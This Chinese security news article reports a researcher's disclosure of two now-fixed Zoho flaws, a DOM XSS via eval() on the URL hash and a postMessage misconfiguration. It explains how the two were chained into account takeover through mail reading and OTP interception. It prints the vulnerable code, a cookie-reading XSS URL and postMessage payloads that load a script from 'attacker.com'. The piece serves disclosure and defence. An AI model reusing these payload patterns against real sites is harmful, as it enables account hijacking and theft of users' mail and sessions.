导语:近日,一名安全研究人员披露了Zoho两处高危漏洞——DOM XSS和PostMessage配置错误。这两处漏洞均可被用于劫持用户账户,受害者只需点击一个链接,攻击者即可读取其邮件、获取登录验证码,最终实现账户完全接管。
一、漏洞概述
本次披露的漏洞分为两个独立部分,均可导致账户接管(ATO):
第一处位于 www.zoho.com.cn,是DOM型跨站脚本漏洞(DOM XSS)。第二处位于 www.zoho.com,是PostMessage消息通信配置错误。这两处漏洞相互独立,任意一处被利用都可能导致账户被劫持。

二、DOM XSS漏洞详解
漏洞发现
研究人员在例行安全扫描中,发现 https://www.zoho.com.cn/assist/videos/#payload 这一URL存在DOM XSS漏洞。
技术分析
问题出在Zoho网站加载的一段JavaScript代码中。该代码从URL中提取哈希值(#后面的内容),然后直接传给 eval() 函数执行。
具体代码逻辑如下:
$(document).ready(function(e) {
var tv_id=window.location.href.split('#');
if(!tv_id[1]=="")
{
autoplay(tv_id[1]);
}
});
function autoplay(tar) {
var target_v=eval(tar);
// ...
}
这段代码的流程是:浏览器访问带有 #payload 的URL时,脚本会提取 payload 并直接用 eval() 执行。攻击者只需构造恶意链接 https://www.zoho.com.cn/assist/videos/#alert(document.cookie),即可在受害者浏览器中执行任意JavaScript代码。
漏洞危害
DOM XSS可导致窃取用户会话Cookie、劫持页面内容、进行钓鱼攻击等。配合后续的账户接管技术,危害进一步扩大。
三、PostMessage配置错误详解
漏洞发现
在分析Zoho页面脚本时,研究人员发现 www.zoho.com 存在PostMessage消息通信配置不当的问题。
技术分析
问题代码位于Zoho的页面脚本中,它会检查URL中的 ps_editor 参数。如果该参数存在,页面会加载一个外部脚本 scriptLoader.js。
scriptLoader.js 文件中存在一个消息监听器:
window.addEventListener("message", ps_loader.messageListener);
ps_loader.messageListener = function(event) {
if (event.data.id === "pagesense-scriptloader-message") {
const eventAction = event.data.action
switch (eventAction) {
case "updateServerDomain": {
SERVER_DOMAIN = event.data.serverDomain
break;
}
case "loadScript": {
var scripts = event.data.scripts;
for (var i = 0; i < scripts.length; i++) {
ps_loader.loadScript(scripts[i]);
}
break;
}
}
}
};
这段代码的问题在于:它允许通过PostMessage消息设置 SERVER_DOMAIN 变量,然后加载任意脚本。
利用方式
攻击者可以分两步利用:
第一步,发送消息设置 SERVER_DOMAIN 指向攻击者控制的服务器:
{
"id":"pagesense-scriptloader-message",
"action":"updateServerDomain",
"serverDomain":"attacker.com"
}
第二步,发送消息加载脚本:
{
"id":"pagesense-scriptloader-message",
"action":"loadScript",
"scripts":["editor"]
}
这样,页面就会从 attacker.com/pagesense/initializer/editor.js 加载脚本,攻击者即可在受害者浏览器中执行任意代码。
四、账户接管攻击链
IFRAME嵌套
研究人员发现 workplace.zoho.com 会加载一个指向 mail.zoho.com 的IFRAME。关键是这个IFRAME允许父子页面之间通过PostMessage通信。
读取邮件(CORS绕过)
Zoho Mail加载时,会从 zmXX.zoho.com 获取邮件数据。研究人员发现该域的响应头允许来自 www.zoho.com 的跨域请求。配合PostMessage漏洞,攻击者可以在父页面中读取受害者的邮件内容。
OTP验证码绕过
账户接管的最后一步是利用OTP(一次性验证码)登录。研究人员发现如下攻击流程:
攻击者首先诱导受害人访问恶意页面,受害人点击链接后,利用漏洞读取受害人Zoho Mail中的邮件。当受害人尝试通过“忘记密码”重置账户时,Zoho会向其邮箱发送OTP验证码。由于攻击者已能够读取邮件,因此拦截该验证码,完成登录。
Code PoC
https://gist.github.com/alanEG/306d580ef4b2a51f3da332e29f157cb4
五、漏洞时间线
- 2024年1月16日:DOM XSS漏洞首次报告
- 2024年1月24日:PostMessage漏洞报告
- 2024年2月9日:DOM XSS漏洞修复
- 2024年3月19日:PostMessage漏洞修复
- 2024年4月12日:漏洞奖励发放(DOM XSS获得1000美元,PostMessage获得100美元)
- 2024年4月25日:额外奖励1100美元
六、修复建议
针对本次披露的漏洞,建议采取以下措施:
及时更新是基础。Zoho已在收到报告后修复了相关漏洞,用户应确保使用的是最新版本的Zoho产品。
谨慎点击链接是防范关键。对于任何要求访问Zoho页面的链接,特别是带有哈希值(#)的参数,要仔细核实来源。
启用双因素认证(2FA)能有效降低账户被盗风险。即使攻击者获取了OTP验证码,2FA也能提供额外的安全防护层。
定期检查账户登录记录,发现异常及时处理。如发现未知设备或位置登录,应立即更改密码并联系Zoho支持。
版权声明:本文由华盟网原创发布,保留所有权利。配图由华盟网授权使用。














暂无评论内容